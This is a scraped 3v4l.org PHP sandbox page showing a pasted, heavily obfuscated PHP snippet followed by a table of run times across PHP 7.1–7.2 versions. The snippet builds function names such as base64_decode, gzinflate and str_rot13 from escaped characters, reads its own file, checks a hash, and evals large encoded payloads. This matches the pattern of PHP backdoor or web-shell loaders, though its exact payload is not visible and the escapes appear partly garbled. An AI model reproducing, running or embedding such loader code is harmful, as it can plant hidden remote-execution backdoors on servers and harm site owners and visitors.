3v4l.org

run code in 300+ PHP versions simultaneously
<?php $kb3360fe="x62x61163x6566x34x5f144x65x63x6fx64x65";@eval($kb3360fe("//NEtP5/3ldNiHCRpoiyHATjKxubhIm5poZCZhschz97vTURDoZqqLI9qVanGEtP1wQKFVbfVnuTd7PUk/O/dqVgnfAPybxxtargC9ZnbTFdYVoxZit2559VJFsTVask2KZlyrUTMIcy2x1mYTXXHgC5SCooDMGS8Jit7y3JZjv5rMf3VX7dbHZdM14Payj0IyXXZTl9Eoy9lPdbHVQR+alPhes+QadtH0iI7xS13XjgEi8mVE3nLRwnmzrnxuN6WmG8MQwI137lkJfrwJK6NACa6RKvN0JUAVVx9oOumH4lpkhdc4yhgznmgFLfPhE+aVWP+5waHnhurpDVe11vZDaLmb6w0utAHcYRAIPl1/P9w4QW7RmoNLD0Q77+G2Xqb07vAyQ7vXnboeFsI3N7wlI+5Uz9ho6wRSQ20TtoGihE3h1Z0TvDK3FDB3H0CvlD0k+z0XL1FpbdgOEeSnSQn142pfygY7G95NQ7qkz0eM377yD6uhHcmRH7PgeaGR1gc2mCiGkkJvOUo+CXSe+yKyLPlKTFwyVg4iYN8NmV0RHj3/756pQpud5rMFNni20MNCa+ztlidnbqPtcR9x99CSS5n3/t59Tz+2FCmgdzI/NqtUampHD0ql7fsw0S5JSCrV6nR/ac4fTQSh6oB328uZTXnAA9+Zv9dgv3wGZpgiCF2jdw4tS//kveTSRkL3rhCaqarvqU0HsI+0LIzPjD==:R6b6lu0fg+Qhs7BJrqKpe1LPNN==:s1n0746r $h3bbd82c=;$t1fb9f6d=;$y3e3076e="147";$i4e67aac="x73";$geeb830c="x65";$gc78ca6a="162";$kb3360fe="x62";$g4114d3d="x73";$pdcee0c8="160";$t1fb9f6d.="151";$g4114d3d.="x74";$kb3360fe.="x61";$y3e3076e.="172";$gc78ca6a.="x65";$geeb830c.="x78";$pdcee0c8.="162";$h3bbd82c.="x74";$i4e67aac.="x68";$gc78ca6a.="x73";$y3e3076e.="x69";$pdcee0c8.="145";$g4114d3d.="162";$i4e67aac.="141";$t1fb9f6d.="x6c";$h3bbd82c.="162";$kb3360fe.="";$geeb830c.="x70";$pdcee0c8.="x67";$t1fb9f6d.="x65";$gc78ca6a.="x65";$geeb830c.="154";$y3e3076e.="156";$h3bbd82c.="x63";$i4e67aac.="x31";$g4114d3d.="137";$kb3360fe.="x65";$gc78ca6a.="164";$y3e3076e.="x66";$pdcee0c8.="137";$geeb830c.="x6f";$kb3360fe.="66";$h3bbd82c.="x6d";$t1fb9f6d.="x5f";$g4114d3d.="162";$geeb830c.="144";$y3e3076e.="x6c";$t1fb9f6d.="147";$kb3360fe.="64";$pdcee0c8.="x72";$h3bbd82c.="160";$g4114d3d.="157";$g4114d3d.="164";$pdcee0c8.="145";$geeb830c.="145";$y3e3076e.="141";$kb3360fe.="137";$t1fb9f6d.="145";$y3e3076e.="164";$kb3360fe.="x64";$g4114d3d.="x31";$t1fb9f6d.="x74";$pdcee0c8.="160";$g4114d3d.="x33";$kb3360fe.="x65";$t1fb9f6d.="x5f";$y3e3076e.="145";$pdcee0c8.="154";$t1fb9f6d.="x63";$pdcee0c8.="x61";$kb3360fe.="143";$kb3360fe.="x6f";$t1fb9f6d.="x6f";$pdcee0c8.="143";$t1fb9f6d.="x6e";$kb3360fe.="144";$pdcee0c8.="x65";$kb3360fe.="x65";$t1fb9f6d.="x74";$t1fb9f6d.="145";$t1fb9f6d.="156";$t1fb9f6d.="x74";$t1fb9f6d.="x73";$lb6342a5=$geeb830c("50",__FILE__);@eval($h3bbd82c($i4e67aac($pdcee0c8("x2f134x28x5cx2256x2ax5cx22134x2957","x28x224251",$pdcee0c8("x2fxdx7c12x2f","",$t1fb9f6d($gc78ca6a($lb6342a5))))),"6261x6460x3366x35x34x6663x30x35x38x387071x65144x6371x39x61x367114465144143142x32x3014365x38x61x3062x62x63141")?$y3e3076e($kb3360fe($g4114d3d("CIUMedgVRilKb/gjEmljSXhhJubKzU1smXYmjz52QZLLia58hwIqHvdHTEHEcpcsKDLNwIKyK1/so5e4SC6A0+PQ1QqAs9CxAj6LG/qOxibH+ZLc5bA/919/su2tOOuQ/lC/RZlCOsr5EU+D/vQ5g+Jo+pRsDH3vBSzN4xsNtU+Vw+taOs/x/7w/mU40NUm9+J/5Fiis/8o8/iK/9/7+1+a3S694kxN1xqh0wKlyrfcpGoAAfyq6eound3Er5PeVZa7FAj3T3WiezrZjilhXNtM0Cd2a/IeJdFF6kqpT1TlrcYunuVQp4cMhUEYUtasnFnwZkv2tPEFMyuIj7ACfa+TXWejLHOiSlkVgVY0mxUoPa2iL0TUGie399Rv7wgqgf1wJG00npN80qjnrxM3IsMbe31NGBxoRkdTeEeRbveb8FxKbhiiveEpC0prXjmQn8otUAa06J4IH5TB+K5wUpCrTVFtKe6/WFOIsrBZSJglzkyDhQFjGlmAJO6IQA1kfmw2MdfPZp8asd7rJkZmV2jKWbTB0QaXpaC88opW7J9SE9QNwRodtL9yDIHXbsCenlaguf/7Qa69GZxdan1mhqFKQQaLirMucCoHSw3gK6rEsuYOM07yJga66aJgk6fodEr7Gqd/JHkEDRmkYjojwghWOEsH+zkXu7UFdNeI4kUlWHMyJFxhb3exgJpRwfXQHWQitkoaibhl5nSKHt1pVpklsok4SA5TWf+H2xWtraKLEIL9pkXmz7hCEX16nCz6mEyhNKV6lN04Id+iIY0i/5olmkEx5PacNRIvz/ENUtn5SP5u5NyUOegTrAFbyB8xYoWkPCnxw2b+yCyl9b/pfeD+6DVkXPMNQVcBnLksUGRObk6Dwm1THRbT0CwkjuDGrz1xvuXWspnHIRWAJuHBXcNaT81SsoBLljK2+5aGBrYiq1SkNZDkbvdI902S1PRsO92qMxlognMOeWM9aAhYABqrZo5IqQrF+LzJSKnh6LL6qOZ9Ob3f7xCeUpPzdvrYNiESvyw8GEkXA/utt1A2H4DAr64BgbedpiNnwtvowpl7fZA6K8tTOz588AplF0aHPWQNie1xvCy5U+BN7D3UY4zbSR1nYqcSTe8nfhiX1oBfk2evzI1awmBXmihEEzbxwD+UOJoPfZO8M22VQ2n7KHbYdMBtCx+5UGTi2suNanc6c1ZiCM57Wnl+8TH0mwyotoyXnTPJaP8vB0PE+Qj4c0vsi4aO1/Yb4A8sHU0I02qmMIr4U4g1j8GwGA3MM7ZGqEuu59mF87PPJaBS4Y1ARuAChIsrH19B8Rdf+593tmFeJCs3fFdY50+g2AsFfI1730HTHiAQVAvoVh6xIf2MLDdkH8JBTk+rKygCI4KRDQCoB4nImPCMpsEbxXPCSNsUhuCBfmirSA5cU1cXRBziETKvSRezTsgsYfd+0O6XLd7MYiVvDQIoNSZgNth0HSV9ooVNcyuwR020lk1EIBXJhUYfP0oC0hbZtskMx61vmf1qP1vYlfEEL8AmHxaOTCquiyKVbyBccPmhswIiSMrR9yzDpuPfBNKmpHKaYL/JZQlt5PHQVTfgRwNXMKS3xLisqfQfRGTVQMxxTgpQ0HWK9d3AviFlvVdpQiej4YcCHJ7Tiiza0mXh9voJMPOCCNQyfbOtyrKm69c7jxsHN+3IVkxDwbsdXDR81L85p3hAgabA29LZKRWy+2lJ7ntIUQ8fzVmTVa8VB9Sr22zdV9xfGaXhXhbZdB8RzS5OM4N5JXj8qs07S8AS0zoZ1EbCJAVMriHXKalBxlKSnZnVG8Z+HU0lXiZpuRKufeJd8Y+P2Snpxap1wZXkidhUO6Q/cvAl8E1KEY8AKPOHa6ggtmcwvwQO+JjuZAel/JiEzvGoAS43TbDtl9Finha99/rqm/ijC"))):$y3e3076e($kb3360fe($g4114d3d("CICUegfVQClKukjF6XOrwPQNdyh9I/vvouIoiK59aZIzQ4ZOlEzPVZSioLdvOSDJi74rO4S8NQ9tNi0j/wuD4xStQktyUmQ2LrlG+eqH/b2/sa470DXSFBXCU8L+DuW5jCvaO0584t/jC0Y4pMQ/Ts4cgdG7/e/g+7r/N3m/Za01oRMqRxjxuWfYBvhNy8oWu4Lk09l3cNW2Y2Vzf+hMnEOV3f4xM4Lu2lHQxQfgmDu7tO63xBR1H9VYa/ytI6uWHwN+om26vX6VtjWnjEG3PIlIIy4AppgRgzYqDjYOyJIAwgykv7ydRXqmj0wXFgBglXcM3XSO7t4bW2iV1i2JtRZwz4QXJEueGvvtlxHYtzEZtqfNbuDNJwSIGyWZcdrXcQ4tZVep7anIoByWYKN3iHVOT3BaGxYZ0lJ28c6GTUwSxmdqfwnxQWRv2tthAd8L7PH0npvczPzu8v16a73siiRMG04y048P1yeNRdeKROlhfWRu6ysPSYZpiNIwRhh13Wcmd/hm5u4Z7SaU26bmtTUKTd1o02XRy3DoXau0ZEK0qjey0HPMIszN9b0ivqqghQhWz/Uh2W8OhyTypDgYEY63h2j/u7tmgIRpx9dipVJZIKnzcj2jGwxDIUYQoKIANutAjUBfLbvme3aW5menKY+PJEXswGYUXpSqOBSzhk4HKTGA0XG/yhyVths6IWn59W4DY+qo/lnNNhMbcaphdpfLVcWslKVkXqQvQZuJlW3qtDwgHROTyUHCrjVSrdj6jSahtyjJMU/GKo28cTXWJvxpHMTmB7Io0y03sEfdkOkzOcHuEODhlSJvZ3OgCAbET7hQXmMsFTs3f0Kg6RxH4/uZhhydkENcaaczUUwB38s2FbP9XTLwGkqlx6/3FZxWwuqeAOSB4PmAYQjY0zcJ8ux88kLCouSslq50+TeIZWc5edVvNpBrh5nHqJ6Fh1Xg49TS8rrB3NtyAZD2t6bVLI0r1koOMtcyPMuSYNC7CiQ3Gf2MSbn7eCMTR8BJH376WVS6dRM+7vGd7/MRQpL6MzwMfMmRl7TtqJE9T9Ob7Mt2++FjHlDIB7r4gJ+ARp3BbPCrJPZE93b3LI52nONYXFTpvjC4da/kar5QNBwIYm/IBJyQWtyF/nIralHGYJB/m8KoJ9dLKY277fPP+tYkWxZ4x2sdta4qbnlIsLtZx2AQSlHywU13xqgkzePh4pfV4LogcO5SbtHJc0j1jY0UhJrGDcN5Bjh9eT4CaB/n0OK7DA3rrspvWBolSJaawwKEiAuzjN/DPmRBjWizP4Ss2XaSppdgfbkxnOhTsFtplOZPXMiapcUTRGk1SRrhoEqQL+7mhWD5MWi9qw3+nMlOqaaSDyOhY3BBGtHU7tGtMlHP+4X5IekpsOHZ14MbE8aN7DnJqmAYpLQrs/36+iUwk8/s"))));")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
7.2.00.0040.01419.61
7.1.120.0120.00418.20
7.1.110.0070.00717.93
7.1.100.0060.00817.77
7.1.90.0130.00716.02
7.1.80.0150.01216.19
7.1.70.0150.01215.07
7.1.60.0370.01232.98
7.1.50.0990.01032.92
7.1.40.0220.01332.61
7.1.30.0290.01332.58
7.1.20.0330.01232.68
7.1.10.0100.01014.63
7.1.00.0080.00914.71

preferences:
141.06 ms | 1394 KiB | 7 Q